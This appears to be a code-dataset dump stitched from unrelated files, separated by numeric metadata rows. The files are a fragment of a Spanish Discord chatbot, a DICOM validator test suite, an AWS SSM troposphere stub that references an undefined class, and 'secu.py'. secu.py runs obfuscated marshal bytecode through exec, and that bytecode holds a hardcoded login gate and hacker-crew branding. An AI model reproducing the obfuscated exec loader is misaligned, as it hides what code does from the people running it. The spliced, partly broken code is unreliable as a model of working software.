return
peticion = mensaje.content
respuesta = await validaciones(peticion)
if not respuesta or respuesta == '':
await mensaje.channel.send('No se ha podido obtener respuesta, por favor intente nuevamente.')
else:
await mensaje.channel.send(respuesta)
cliente.run(llave)
"""
while True:
peticion = input('Tu: ')
respuesta = chat.get_response(peticion)
if respAnterior == '¿Qué debería haber dicho?':
entradaCorreccion = peticion
trainer.train([entradaAnterior, entradaCorreccion])
respuesta = "He aprendiendo que cuando digas {} debo responder {}".format(entradaAnterior, entradaCorreccion)
if peticion == 'Asi no va!':
respuesta = '¿Qué debería haber dicho?'
else:
entradaAnterior = peticion
respAnterior = respuesta
print('BOOT: ', respuesta)
"""
| 85.286585
| 724
| 0.735254
| 1,923
| 13,987
| 5.344774
| 0.228289
| 0.024324
| 0.017902
| 0.062269
| 0.797626
| 0.790232
| 0.790232
| 0.783032
| 0.783032
| 0.77194
| 0
| 0.071404
| 0.183957
| 13,987
| 163
| 725
| 85.809816
| 0.828719
| 0.00958
| 0
| 0.064935
| 0
| 0.168831
| 0.683678
| 0.016876
| 0
| 0
| 0
| 0.01227
| 0
| 1
| 0.038961
| false
| 0.090909
| 0.103896
| 0
| 0.207792
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
3887319325a70672809652d36437927197c9c477
| 16,418
|
py
|
Python
|
dcm_spec_tools/validator/tests/test_iod_validator.py
|
mrbean-bremen/dicom-validator
|
56a6b57346e61e578589143d2752c4fd3f562dfb
|
[
"MIT"
] | 5
|
2016-12-09T03:30:33.000Z
|
2019-07-01T14:06:02.000Z
|
dcm_spec_tools/validator/tests/test_iod_validator.py
|
mrbean-bremen/dicom-validator
|
56a6b57346e61e578589143d2752c4fd3f562dfb
|
[
"MIT"
] | 3
|
2018-04-23T07:16:16.000Z
|
2021-01-24T18:13:48.000Z
|
dcm_spec_tools/validator/tests/test_iod_validator.py
|
mrbean-bremen/dicom-validator
|
56a6b57346e61e578589143d2752c4fd3f562dfb
|
[
"MIT"
] | null | null | null |
import json
import logging
import os
import unittest
from dcm_spec_tools.spec_reader.edition_reader import EditionReader
from pydicom.dataset import Dataset
from dcm_spec_tools.tests.test_utils import json_fixture_path
from dcm_spec_tools.validator.iod_validator import IODValidator
class IODValidatorTest(unittest.TestCase):
"""Tests IODValidator.
Note: some of the fixture data are not consistent with the DICOM Standard.
"""
iod_specs = None
module_specs = None
@classmethod
def setUpClass(cls):
with open(os.path.join(json_fixture_path(),
EditionReader.iod_info_json)) as info_file:
cls.iod_specs = json.load(info_file)
with open(os.path.join(json_fixture_path(),
EditionReader.module_info_json)) as info_file:
cls.module_specs = json.load(info_file)
def setUp(self):
super(IODValidatorTest, self).setUp()
logging.disable(logging.CRITICAL)
def validator(self, data_set):
return IODValidator(data_set, self.iod_specs, self.module_specs, None,
logging.ERROR)
@staticmethod
def new_data_set(tags):
""" Create a DICOM data set with the given attributes """
tags = tags or {}
data_set = Dataset()
for tag_name, value in tags.items():
setattr(data_set, tag_name, value)
data_set.file_meta = Dataset()
data_set.is_implicit_VR = False
data_set.is_little_endian = True
return data_set
def test_empty_dataset(self):
data_set = self.new_data_set(tags={})
validator = self.validator(data_set)
result = validator.validate()
self.assertIn('fatal', result)
def test_invalid_sop_class_id(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.3'
})
validator = self.validator(data_set)
result = validator.validate()
self.assertIn('fatal', result)
@staticmethod
def has_tag_error(messages, module_name, tag_id_string, error_kind):
if not module_name in messages:
return False
for message in messages[module_name]:
if message.startswith(
'Tag {} is {}'.format(tag_id_string, error_kind)):
return True
return False
def test_missing_tags(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.840.10008.5.1.4.1.1.2', # CT
'PatientName': 'XXX',
'PatientID': 'ZZZ',
})
validator = self.validator(data_set)
result = validator.validate()
self.assertNotIn('fatal', result)
self.assertIn('CT Image', result)
# PatientName is set
self.assertFalse(
self.has_tag_error(result, 'Patient', '(0010,0010)', 'missing'))
# PatientSex - type 2, missing
self.assertTrue(
self.has_tag_error(result, 'Patient', '(0010,0040)', 'missing'))
# Clinical Trial Sponsor Name -> type 1, but module usage U
self.assertFalse(
self.has_tag_error(result, 'Patient', '(0012,0010)', 'missing'))
# Patient Breed Description -> type 2C, but no parsable condition
self.assertFalse(
self.has_tag_error(result, 'Patient', '(0010,2292)', 'missing'))
def test_empty_tags(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.840.10008.5.1.4.1.1.2', # CT
'PatientName': '',
'Modality': None
})
validator = self.validator(data_set)
result = validator.validate()
self.assertNotIn('fatal', result)
self.assertIn('CT Image', result)
# Modality - type 1, present but empty
self.assertTrue(
self.has_tag_error(result, 'Patient', '(0010,0040)', 'missing'))
# PatientName - type 2, empty tag is allowed
self.assertFalse(
self.has_tag_error(result, 'Patient', '(0010,0010)', 'missing'))
def test_fulfilled_condition_existing_tag(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.840.10008.5.1.4.1.1.12.1.1',
# Enhanced X-Ray Angiographic Image
'CArmPositionerTabletopRelationship': 'YES',
'SynchronizationTrigger': 'SET',
'FrameOfReferenceUID': '1.2.3.4.5.6.7.8',
'PatientName': 'XXX',
'PatientID': 'ZZZ'
})
validator = self.validator(data_set)
result = validator.validate()
# Frame Of Reference UID Is and Synchronization Trigger set
self.assertFalse(
self.has_tag_error(result, 'Enhanced X-Ray Angiographic Image',
'(0020,0052)', 'missing'))
self.assertFalse(self.has_tag_error(result, 'Synchronization',
'(0018,106A)', 'missing'))
def test_fulfilled_condition_missing_tag(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.840.10008.5.1.4.1.1.12.1.1',
# Enhanced X-Ray Angiographic Image
'CArmPositionerTabletopRelationship': 'YES',
'PatientName': 'XXX',
'PatientID': 'ZZZ'
})
validator = self.validator(data_set)
result = validator.validate()
self.assertTrue(self.has_tag_error(result, 'Frame of Reference',
'(0020,0052)', 'missing'))
self.assertTrue(self.has_tag_error(result, 'Synchronization',
'(0018,106A)', 'missing'))
def test_condition_not_met_no_tag(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.840.10008.5.1.4.1.1.12.1.1',
# Enhanced X-Ray Angiographic Image
'PatientName': 'XXX',
'PatientID': 'ZZZ'
})
validator = self.validator(data_set)
result = validator.validate()
self.assertFalse(self.has_tag_error(result, 'Frame of Reference',
'(0020,0052)', 'missing'))
self.assertFalse(self.has_tag_error(result, 'Frame of Reference',
'(0020,0052)', 'not allowed'))
def test_condition_not_met_existing_tag(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.840.10008.5.1.4.1.1.12.1.1',
# Enhanced X-Ray Angiographic Image
'FrameOfReferenceUID': '1.2.3.4.5.6.7.8',
'SynchronizationTrigger': 'SET',
'PatientName': 'XXX',
'PatientID': 'ZZZ'
})
validator = self.validator(data_set)
result = validator.validate()
# Frame Of Reference is allowed, Synchronization Trigger not
self.assertFalse(self.has_tag_error(result, 'Frame of Reference',
'(0020,0052)', 'missing'))
self.assertFalse(self.has_tag_error(result, 'Frame of Reference',
'(0020,0052)', 'not allowed'))
self.assertTrue(self.has_tag_error(result, 'Synchronization',
'(0018,106A)', 'not allowed'))
def test_and_condition_not_met(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.840.10008.5.1.4.1.1.12.1.1',
# Enhanced X-Ray Angiographic Image
'PatientName': 'XXX',
'PatientID': 'ZZZ',
'ImageType': 'SECONDARY',
'CardiacSynchronizationTechnique': 'OTHER',
'HighRRValue': '123' # 0018,1082
})
validator = self.validator(data_set)
result = validator.validate()
# Both Low R-R Value and High R-R Value are not needed but allowed
self.assertFalse(self.has_tag_error(result, 'Cardiac Synchronization',
'(0018,1081)', 'missing'))
self.assertFalse(self.has_tag_error(result, 'Cardiac Synchronization',
'(0018,1082)', 'missing'))
def test_only_one_and_condition_met(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.840.10008.5.1.4.1.1.12.1.1',
# Enhanced X-Ray Angiographic Image
'PatientName': 'XXX',
'PatientID': 'ZZZ',
'ImageType': 'PRIMARY',
'CardiacSynchronizationTechnique': 'OTHER',
'HighRRValue': '123' # 0018,1082
})
validator = self.validator(data_set)
result = validator.validate()
# Both Low R-R Value and High R-R Value are not needed but allowed
self.assertFalse(self.has_tag_error(result, 'Cardiac Synchronization',
'(0018,1081)', 'missing'))
self.assertFalse(self.has_tag_error(result, 'Cardiac Synchronization',
'(0018,1082)', 'missing'))
def test_and_condition_met(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.840.10008.5.1.4.1.1.12.1.1',
# Enhanced X-Ray Angiographic Image
'PatientName': 'XXX',
'PatientID': 'ZZZ',
'ImageType': 'MIXED',
'CardiacSynchronizationTechnique': 'PROSPECTIVE',
'HighRRValue': '123' # 0018,1082
})
validator = self.validator(data_set)
result = validator.validate()
# Both Low R-R Value and High R-R Value are needed
self.assertTrue(self.has_tag_error(result, 'Cardiac Synchronization',
'(0018,1081)', 'missing'))
self.assertFalse(self.has_tag_error(result, 'Cardiac Synchronization',
'(0018,1082)', 'missing'))
def test_presence_condition_met(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.840.10008.5.1.4.1.1.12.1.1',
# Enhanced X-Ray Angiographic Image
'PatientName': 'XXX',
'PatientID': 'ZZZ',
'PixelPaddingRangeLimit': '10',
'PixelDataProviderURL': 'http://dataprovider'
})
validator = self.validator(data_set)
result = validator.validate()
self.assertTrue(self.has_tag_error(result, 'General Equipment',
'(0028,0120)',
'missing')) # Pixel Padding Value
def test_presence_condition_not_met(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.840.10008.5.1.4.1.1.12.1.1',
# Enhanced X-Ray Angiographic Image
'PatientName': 'XXX',
'PatientID': 'ZZZ',
'PixelPaddingRangeLimit': '10',
})
validator = self.validator(data_set)
result = validator.validate()
self.assertFalse(self.has_tag_error(result, 'General Equipment',
'(0028,0120)',
'missing')) # Pixel Padding Value
def test_greater_condition_met(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.840.10008.5.1.4.1.1.12.1.1',
# Enhanced X-Ray Angiographic Image
'PatientName': 'XXX',
'PatientID': 'ZZZ',
'SamplesPerPixel': 3
})
validator = self.validator(data_set)
result = validator.validate()
self.assertTrue(self.has_tag_error(result, 'Image Pixel',
'(0028,0006)',
'missing')) # Planar configuration
def test_greater_condition_not_met(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.840.10008.5.1.4.1.1.12.1.1',
# Enhanced X-Ray Angiographic Image
'PatientName': 'XXX',
'PatientID': 'ZZZ',
'SamplesPerPixel': 1
})
validator = self.validator(data_set)
result = validator.validate()
self.assertFalse(self.has_tag_error(result, 'Image Pixel',
'(0028,0006)',
'missing')) # Planar configuration
def test_points_to_condition_met(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.840.10008.5.1.4.1.1.12.1.1',
# Enhanced X-Ray Angiographic Image
'PatientName': 'XXX',
'PatientID': 'ZZZ',
'FrameIncrementPointer': 0x00181065
})
validator = self.validator(data_set)
result = validator.validate()
self.assertTrue(self.has_tag_error(result, 'Cardiac Synchronization',
'(0018,1086)',
'missing')) # Skip beats
def test_points_to_condition_not_met(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.840.10008.5.1.4.1.1.12.1.1',
# Enhanced X-Ray Angiographic Image
'PatientName': 'XXX',
'PatientID': 'ZZZ',
'FrameIncrementPointer': 0x00181055
})
validator = self.validator(data_set)
result = validator.validate()
self.assertFalse(self.has_tag_error(result, 'Cardiac Synchronization',
'(0018,1086)',
'missing')) # Skip beats
def test_condition_for_not_required_tag_cond1_fulfilled(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.840.10008.5.1.4.1.1.12.1.1',
# Enhanced X-Ray Angiographic Image
'PatientName': 'XXX',
'PatientID': 'ZZZ',
'ImageType': 'ORIGINAL',
'CardiacSynchronizationTechnique': 'ANY'
})
validator = self.validator(data_set)
result = validator.validate()
self.assertTrue(self.has_tag_error(result, 'Cardiac Synchronization',
'(0018,9085)',
'missing')) # Cardiac signal source
def test_condition_for_not_required_tag_no_cond_fulfilled(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.840.10008.5.1.4.1.1.12.1.1',
# Enhanced X-Ray Angiographic Image
'PatientName': 'XXX',
'PatientID': 'ZZZ',
'ImageType': 'ORIGINAL',
'CardiacSynchronizationTechnique': 'NONE',
'CardiacSignalSource': 'ECG'
})
validator = self.validator(data_set)
result = validator.validate()
self.assertTrue(self.has_tag_error(result, 'Cardiac Synchronization',
'(0018,9085)',
'not allowed')) # Cardiac signal source
def test_condition_for_not_required_tag_cond2_fulfilled_present(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.840.10008.5.1.4.1.1.12.1.1',
# Enhanced X-Ray Angiographic Image
'PatientName': 'XXX',
'PatientID': 'ZZZ',
'ImageType': 'DERIVED',
'CardiacSynchronizationTechnique': 'ANY',
'CardiacSignalSource': 'ECG'
})
validator = self.validator(data_set)
result = validator.validate()
self.assertFalse(self.has_tag_error(result, 'Cardiac Synchronization',
'(0018,9085)',
'not allowed')) # Cardiac signal source
def test_condition_for_not_required_tag_cond2_fulfilled_not_present(self):
data_set = self.new_data_set({
'SOPClassUID': '1.2.840.10008.5.1.4.1.1.12.1.1',
# Enhanced X-Ray Angiographic Image
'PatientName': 'XXX',
'PatientID': 'ZZZ',
'ImageType': 'DERIVED',
'CardiacSynchronizationTechnique': 'ANY'
})
validator = self.validator(data_set)
result = validator.validate()
self.assertFalse(self.has_tag_error(result, 'Cardiac Synchronization',
'(0018,9085)',
'missing')) # Cardiac signal source
if __name__ == '__main__':
unittest.main()
| 40.538272
| 84
| 0.550737
| 1,719
| 16,418
| 5.081443
| 0.126818
| 0.0585
| 0.040298
| 0.053234
| 0.815341
| 0.791643
| 0.786835
| 0.780996
| 0.769662
| 0.747567
| 0
| 0.062392
| 0.332257
| 16,418
| 404
| 85
| 40.638614
| 0.734379
| 0.091241
| 0
| 0.730408
| 0
| 0.053292
| 0.218752
| 0.065626
| 0
| 0
| 0.001346
| 0
| 0.115987
| 1
| 0.081505
| false
| 0
| 0.025078
| 0.003135
| 0.131661
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c7f983d66944af2a3f22b0b7394c07cf24ad1ed3
| 9,667
|
py
|
Python
|
stubs/ssm.py
|
claytonbrown/troposphere
|
bf0f1e48b14f578de0221d50f711467ad716ca87
|
[
"BSD-2-Clause"
] | null | null | null |
stubs/ssm.py
|
claytonbrown/troposphere
|
bf0f1e48b14f578de0221d50f711467ad716ca87
|
[
"BSD-2-Clause"
] | null | null | null |
stubs/ssm.py
|
claytonbrown/troposphere
|
bf0f1e48b14f578de0221d50f711467ad716ca87
|
[
"BSD-2-Clause"
] | null | null | null |
from . import AWSObject, AWSProperty
from .validators import *
from .constants import *
# -------------------------------------------
class SSMParameterValues(AWSProperty):
"""# ParameterValues - CloudFormationResourceSpecification version: 1.4.0
{
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ssm-association-parametervalues.html",
"Properties": {
"ParameterValues": {
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ssm-association-parametervalues.html#cfn-ssm-association-parametervalues-parametervalues",
"DuplicatesAllowed": false,
"PrimitiveItemType": "String",
"Required": true,
"Type": "List",
"UpdateType": "Mutable"
}
}
}
"""
props = {
'ParameterValues': ([basestring], True, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ssm-association-parametervalues.html#cfn-ssm-association-parametervalues-parametervalues')
}
# -------------------------------------------
class SSMTarget(AWSProperty):
"""# Target - CloudFormationResourceSpecification version: 1.4.0
{
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ssm-association-target.html",
"Properties": {
"Key": {
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ssm-association-target.html#cfn-ssm-association-target-key",
"PrimitiveType": "String",
"Required": true,
"UpdateType": "Immutable"
},
"Values": {
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ssm-association-target.html#cfn-ssm-association-target-values",
"DuplicatesAllowed": false,
"PrimitiveItemType": "String",
"Required": true,
"Type": "List",
"UpdateType": "Immutable"
}
}
}
"""
props = {
'Key': (basestring, True, 'Immutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ssm-association-target.html#cfn-ssm-association-target-key'),
'Values': ([basestring], True, 'Immutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ssm-association-target.html#cfn-ssm-association-target-values')
}
# -------------------------------------------
class SSMDocument(AWSObject):
"""# AWS::SSM::Document - CloudFormationResourceSpecification version: 1.4.0
{
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-document.html",
"Properties": {
"Content": {
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-document.html#cfn-ssm-document-content",
"PrimitiveType": "Json",
"Required": true,
"UpdateType": "Immutable"
},
"DocumentType": {
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-document.html#cfn-ssm-document-documenttype",
"PrimitiveType": "String",
"Required": false,
"UpdateType": "Immutable"
}
}
}
"""
resource_type = "AWS::SSM::Document"
props = {
'Content': ((basestring, dict), True, 'Immutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-document.html#cfn-ssm-document-content'),
'DocumentType': (basestring, False, 'Immutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-document.html#cfn-ssm-document-documenttype')
}
# -------------------------------------------
class SSMParameter(AWSObject):
"""# AWS::SSM::Parameter - CloudFormationResourceSpecification version: 1.4.0
{
"Attributes": {
"Type": {
"PrimitiveType": "String"
},
"Value": {
"PrimitiveType": "String"
}
},
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-parameter.html",
"Properties": {
"Description": {
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-parameter.html#cfn-ssm-parameter-description",
"PrimitiveType": "String",
"Required": false,
"UpdateType": "Mutable"
},
"Name": {
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-parameter.html#cfn-ssm-parameter-name",
"PrimitiveType": "String",
"Required": false,
"UpdateType": "Immutable"
},
"Type": {
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-parameter.html#cfn-ssm-parameter-type",
"PrimitiveType": "String",
"Required": true,
"UpdateType": "Mutable"
},
"Value": {
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-parameter.html#cfn-ssm-parameter-value",
"PrimitiveType": "String",
"Required": true,
"UpdateType": "Mutable"
}
}
}
"""
resource_type = "AWS::SSM::Parameter"
props = {
'Type': (basestring, True, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-parameter.html#cfn-ssm-parameter-type'),
'Description': (basestring, False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-parameter.html#cfn-ssm-parameter-description'),
'Value': (basestring, True, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-parameter.html#cfn-ssm-parameter-value'),
'Name': (basestring, False, 'Immutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-parameter.html#cfn-ssm-parameter-name')
}
# -------------------------------------------
class SSMAssociation(AWSObject):
"""# AWS::SSM::Association - CloudFormationResourceSpecification version: 1.4.0
{
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-association.html",
"Properties": {
"DocumentVersion": {
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-association.html#cfn-ssm-association-documentversion",
"PrimitiveType": "String",
"Required": false,
"UpdateType": "Mutable"
},
"InstanceId": {
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-association.html#cfn-ssm-association-instanceid",
"PrimitiveType": "String",
"Required": false,
"UpdateType": "Immutable"
},
"Name": {
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-association.html#cfn-ssm-association-name",
"PrimitiveType": "String",
"Required": true,
"UpdateType": "Immutable"
},
"Parameters": {
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-association.html#cfn-ssm-association-parameters",
"DuplicatesAllowed": false,
"ItemType": "ParameterValues",
"Required": false,
"Type": "Map",
"UpdateType": "Mutable"
},
"ScheduleExpression": {
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-association.html#cfn-ssm-association-scheduleexpression",
"PrimitiveType": "String",
"Required": false,
"UpdateType": "Mutable"
},
"Targets": {
"Documentation": "http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-association.html#cfn-ssm-association-targets",
"DuplicatesAllowed": false,
"ItemType": "Target",
"Required": false,
"Type": "List",
"UpdateType": "Immutable"
}
}
}
"""
resource_type = "AWS::SSM::Association"
props = {
'DocumentVersion': (basestring, False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-association.html#cfn-ssm-association-documentversion'),
'InstanceId': (basestring, False, 'Immutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-association.html#cfn-ssm-association-instanceid'),
'Name': (basestring, True, 'Immutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-association.html#cfn-ssm-association-name'),
'Parameters': (dict, False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-association.html#cfn-ssm-association-parameters'),
'ScheduleExpression': (basestring, False, 'Mutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-association.html#cfn-ssm-association-scheduleexpression'),
'Targets': ([Target], False, 'Immutable', 'http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ssm-association.html#cfn-ssm-association-targets')
}
| 46.700483
| 227
| 0.634116
| 884
| 9,667
| 6.930995
| 0.075792
| 0.093684
| 0.062837
| 0.097111
| 0.847723
| 0.840379
| 0.750449
| 0.750449
| 0.750449
| 0.725967
| 0
| 0.001916
| 0.190131
| 9,667
| 206
| 228
| 46.927184
| 0.780687
| 0.656046
| 0
| 0.138889
| 0
| 0.416667
| 0.673854
| 0.006377
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.083333
| 0
| 0.444444
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
2a0fa247129ba72c39d68f2bd0245ec1679b7914
| 2,871
|
py
|
Python
|
secu.py
|
IyXerXez72/WebBejad
|
71fcb2b9cb35f3c97139af4d13c60be5efad79ae
|
[
"Apache-2.0"
] | null | null | null |
secu.py
|
IyXerXez72/WebBejad
|
71fcb2b9cb35f3c97139af4d13c60be5efad79ae
|
[
"Apache-2.0"
] | null | null | null |
secu.py
|
IyXerXez72/WebBejad
|
71fcb2b9cb35f3c97139af4d13c60be5efad79ae
|
[
"Apache-2.0"
] | null | null | null |
#RECODE SILAHKAN LAH KALO BISA KALK BISA YA BAKU HANTAM KITA
#TOOLS BERANNTAKAN JUGA ANE BUAT SENDIRI GA RECOD GAN
import marshal
exec(marshal.loads("c\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00@\x00\x00\x00s|\x00\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00d\x00\x00d\x01\x00l\x01\x00Z\x01\x00d\x02\x00GHd\x03\x00GHd\x04\x00GHd\x05\x00Z\x02\x00d\x06\x00Z\x03\x00d\x07\x00\x84\x00\x00Z\x04\x00d\x08\x00\x84\x00\x00Z\x05\x00y\x0b\x00e\x05\x00\x83\x00\x00\x01Wn%\x00\x04e\x06\x00k\n\x00rw\x00\x01\x01\x01e\x00\x00j\x07\x00d\t\x00\x83\x01\x00\x01e\x04\x00\x83\x00\x00\x01n\x01\x00Xd\x01\x00S(\n\x00\x00\x00i\xff\xff\xff\xffNs)\x00\x00\x00\x1b[1;33mTeam = 2e4h~GblkCrew~BogorBlackHats#\x00\x00\x00\x1b[1;33mMasukan Pw + Username = dones,\x00\x00\x00\x1b[1;33mHubungi XerXez7 62886686741 \x1b[1;31;1mt\x07\x00\x00\x00xerxez7t\x06\x00\x00\x00gans2xc\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00C\x00\x00\x00s#\x00\x00\x00t\x00\x00j\x01\x00}\x00\x00t\x02\x00j\x03\x00|\x00\x00|\x00\x00t\x00\x00j\x04\x00\x8c\x02\x00\x01d\x00\x00S(\x01\x00\x00\x00N(\x05\x00\x00\x00t\x03\x00\x00\x00syst\n\x00\x00\x00executablet\x02\x00\x00\x00ost\x05\x00\x00\x00execlt\x04\x00\x00\x00argv(\x01\x00\x00\x00t\x07\x00\x00\x00ngulang(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<debby>t\x07\x00\x00\x00restart\x0b\x00\x00\x00s\x04\x00\x00\x00\x00\x01\t\x01c\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00sj\x00\x00\x00t\x00\x00d\x01\x00\x83\x01\x00}\x00\x00|\x00\x00t\x01\x00k\x02\x00rU\x00t\x00\x00d\x02\x00\x83\x01\x00}\x01\x00|\x01\x00t\x02\x00k\x02\x00rA\x00d\x03\x00Gt\x03\x00j\x04\x00\x83\x00\x00\x01qf\x00d\x04\x00GHd\x05\x00GHt\x05\x00\x83\x00\x00\x01n\x11\x00d\x06\x00GHd\x07\x00GHt\x05\x00\x83\x00\x00\x01d\x00\x00S(\x08\x00\x00\x00Ns\x0b\x00\x00\x00username : s\x0b\x00\x00\x00password : s\x1f\x00\x00\x00\n\x1b[1;34mWOKE WELCOM TO MY TOOLSs-\x00\x00\x00\n\x1b[1;36mKALO GA TAU GA USAH MAKSA ASU!!!\x1b[00ms\x0e\x00\x00\x00LOIN KEMBALI \ns'\x00\x00\x00\n\x1b[1;36mUSERNAME BUKAN ITU ASW !!!\x1b[00ms\x0f\x00\x00\x00LOGIN BALIK AH\n(\x06\x00\x00\x00t\t\x00\x00\x00raw_inputt\x08\x00\x00\x00usernamet\x08\x00\x00\x00passwordR\x02\x00\x00\x00t\x04\x00\x00\x00exitR\x08\x00\x00\x00(\x02\x00\x00\x00t\x05\x00\x00\x00unamet\x03\x00\x00\x00pwd(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<debby>t\x04\x00\x00\x00main\x0f\x00\x00\x00s\x18\x00\x00\x00\x00\x01\x0c\x01\x0c\x01\x0c\x02\x0c\x01\x04\x01\r\x04\x05\x01\x05\x01\n\x03\x05\x01\x05\x01t\x05\x00\x00\x00clear(\x08\x00\x00\x00R\x04\x00\x00\x00R\x02\x00\x00\x00R\n\x00\x00\x00R\x0b\x00\x00\x00R\x08\x00\x00\x00R\x0f\x00\x00\x00t\x11\x00\x00\x00KeyboardInterruptt\x06\x00\x00\x00system(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<debby>t\x08\x00\x00\x00<module>\x03\x00\x00\x00s\x18\x00\x00\x00\x18\x02\x05\x01\x05\x01\x05\x01\x06\x01\x06\x02\t\x04\t\x14\x03\x01\x0b\x01\r\x01\r\x01"))
| 574.2
| 2,740
| 0.765587
| 617
| 2,871
| 3.560778
| 0.226904
| 0.363223
| 0.221211
| 0.158398
| 0.281748
| 0.182977
| 0.09513
| 0.075102
| 0.064178
| 0.064178
| 0
| 0.373935
| 0.019157
| 2,871
| 4
| 2,741
| 717.75
| 0.40625
| 0.038662
| 0
| 0
| 0
| 0.5
| 0.985134
| 0.9438
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
|
0
| 13
|
2a16eb9e4642454e2f7d3dfe6405904b3cc4fbcc
| 179
|
py
|
Python
|
